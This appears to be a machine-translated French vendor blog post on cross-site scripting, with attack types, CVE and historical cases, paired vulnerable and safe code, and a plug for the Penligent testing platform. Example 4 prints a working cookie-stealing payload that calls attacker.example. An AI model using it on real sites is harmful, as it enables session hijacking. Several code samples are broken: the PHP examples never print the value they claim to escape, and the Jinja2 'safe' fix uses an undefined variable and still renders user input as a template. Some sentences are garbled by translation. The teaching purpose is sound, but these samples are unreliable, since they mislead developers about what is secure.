Scripts intersites (XSS) est une vulnérabilité web dans laquelle un attaquant injecte un code malveillant, généralement JavaScript, dans des pages web que d'autres utilisateurs consultent. Le code injecté s'exécute dans le navigateur de la victime dans le contexte du site de confiance, ce qui permet aux attaquants de voler des cookies, de détourner des sessions, d'exfiltrer des données ou d'effectuer des actions au nom des utilisateurs.
Pourquoi XSS reste un problème mondial en 2025
XSS est l'une des vulnérabilités les plus courantes sur le web depuis des décennies. Il est devenu largement connu à la fin des années 1990 avec l'augmentation du contenu dynamique et des entrées générées par l'utilisateur sur les plateformes web.
Des études récentes confirment que les XSS continuent d'affecter les applications web, en particulier avec les frameworks modernes, les API, le rendu dynamique, le contenu en texte riche et les intégrations tierces.
Toute application web qui accepte des données utilisateur - des commentaires aux API JSON - sans un assainissement ou un encodage de sortie adéquat est exposée à un risque.
Exemples de failles XSS dans le monde réel
ERPNext / Frappe - CVE-2025-56379 XSS stocké
En 2025, ERPNext/Frappe a divulgué une vulnérabilité XSS stockée dans son module Blog (versions 15.67.0 / 15.72.4). Les utilisateurs authentifiés pouvaient injecter du HTML/JavaScript malveillant dans le module contenu champ. La charge utile s'exécute dans les navigateurs des utilisateurs qui consultent l'article de blog, ce qui risque d'entraîner un détournement de session et un vol de données.
Cela prouve que même les plateformes open-source bien entretenues sont vulnérables si le code HTML généré par l'utilisateur est rendu sans assainissement adéquat.
Cas historique : Samy Worm sur MySpace (2005)
Le ver Samy a exploité une faille de sécurité dans les profils d'utilisateurs de MySpace. Il s'est propagé à plus d'un million de profils en 20 heures, démontrant comment les XSS peuvent se propager rapidement et détourner les sessions des utilisateurs.
Types de XSS et vecteurs d'attaque
Il existe plusieurs variantes de XSS :
| Type | Description | Vecteur d'attaque typique |
|---|---|---|
| XSS réfléchi | La charge utile est répercutée immédiatement de la demande à la réponse | Paramètres URL, champs de recherche |
| XSS stocké | La charge utile est stockée sur le serveur et exécutée ultérieurement | Commentaires, blogs, profils d'utilisateurs |
| XSS basé sur DOM | Les scripts côté client injectent des contenus dangereux | Applications à page unique, hachage d'URL, modèles JS |
| XSS aveugle | La charge utile s'exécute sans retour d'information immédiat | Tableaux de bord administratifs, journaux, courriels |
Les attaques modernes comprennent également des charges utiles polyglottes capables d'échapper aux dispositifs d'assainissement et de déclencher des conditions XSS aveugles. (arxiv.org)
Conséquences des attaques XSS
- Détournement de session et prise de contrôle de compte
- Actions non autorisées / Usurpation d'identité
- Vol de données / Exposition à des informations sensibles
- Défiguration, hameçonnage ou ingénierie sociale
- Diffusion persistante de logiciels malveillants
Même les petites applications web sont menacées si elles affichent les données saisies par l'utilisateur de manière peu sûre.
Exemples d'attaque et de défense
Exemple 1 - XSS réfléchi (PHP + HTML)
Vulnérable :
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>Résultats de la recherche :</p> </body> </html>
Version plus sûre :
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>Résultats de la recherche :</p> </body> </html>
Exemple 2 - XSS stocké dans les commentaires (JavaScript + HTML)
Rendu vulnérable :
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
Rendu sûr avec DOMPurify :
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
Exemple 3 - XSS basé sur DOM via URL
Vulnérable :
javascript
const msg = document.getElementById('msg') ; msg.innerHTML = location.hash.substring(1) ;
Sûr :
javascript
const msg = document.getElementById('msg') ; msg.textContent = location.hash.substring(1) ;
Exemple 4 - XSS aveugle / retardé
Charge utile de l'attaque :
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
Défense :
- Assainissement de l'entrée HTML de l'utilisateur côté serveur
- Appliquer une liste blanche stricte de balises/attributs HTML
- Appliquer la politique de sécurité du contenu (CSP)
pgsql
Content-Security-Policy : default-src 'self' ; script-src 'self' ; object-src 'none' ; base-uri 'self' ; frame-ancestors 'none' ;
Exemple 5 - Injection d'API JSON (JavaScript)
Vulnérable :
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username ; }) ;
Sûr :
javascript
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username ; }) ;
Exemple 6 - Injection de modèle (Python / Jinja2)
Vulnérable :
python
from jinja2 import Template user_input = "{{7*7}}"tpl = Template(user_input)print(tpl.render())
Sûr :
python
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() tpl = env.from_string(user_input)print(tpl.render())
Les leçons du monde réel de GitHub (2018)
GitHub avait un XSS stocké dans le rendu Markdown. Les utilisateurs pouvaient insérer du code JS dans les fichiers README ; tout visiteur ouvrant la page du dépôt exécuterait le code. GitHub a corrigé le problème en nettoyant les entrées et en limitant les balises HTML autorisées. (Sécurité de GitHub)
Intégrer la prévention XSS dans les flux de travail modernes
- Encodage et assainissement des sorties dans tous les contextes : HTML, JS, CSS, URL
- Utiliser des désinfectants modernes: DOMPurify, bibliothèques d'échappement côté serveur, moteurs de modèles avec échappement automatique
- Appliquer le CSPLes scripts en ligne : empêcher les scripts en ligne et restreindre les sources de scripts
- Tests automatisésAnalyse statique, analyse dynamique, fuzzing, tests XSS à l'aveugle
- Tests de pénétration manuelsValidation des vecteurs d'injection complexes ou en plusieurs étapes
- Audit et suiviLes services d'appui à la décision : enregistrer les entrées suspectes, examiner le contenu des administrateurs et des tiers, mettre en œuvre des révisions de code.
Intégration de Penligent pour l'automatisation des tests XSS
Les équipes de sécurité modernes peuvent s'appuyer sur des plates-formes de test de pénétration intelligentes telles que Penligent pour automatiser la détection de XSS dans des contextes multiples :
- Analyse continue des vecteurs XSS réfléchis, stockés, DOM et aveugles
- Injection et analyse automatisées des charges utiles
- Rapports et suggestions de remédiation
- Intégration avec les pipelines CI/CD pour le flux de travail DevSecOps
En utilisant Penligent, les équipes réduisent les efforts manuels, améliorent la couverture et assurent une protection continue contre les menaces XSS en constante évolution.
Résumé
- Malgré des décennies de sensibilisation, le XSS reste une vulnérabilité majeure du web.
- La défense nécessite des mesures à plusieurs niveaux : encodage, assainissement, CSP, API sûres et tests continus.
- Les tests automatisés et manuels combinés offrent une protection solide, en particulier dans les applications dynamiques modernes.
- Des plateformes intelligentes comme Penligent peut améliorer les flux de travail en matière de sécurité, en détectant et en atténuant les XSS de manière proactive.
Références
Aide-mémoire de l'OWASP sur la prévention des XSS
MDN Web Docs - Vue d'ensemble des XSS
French 
English 
German 
Spanish 
Portuguese 
Japanese 
Korean 
Hindi 
Arabic 
Turkish 
Hebrew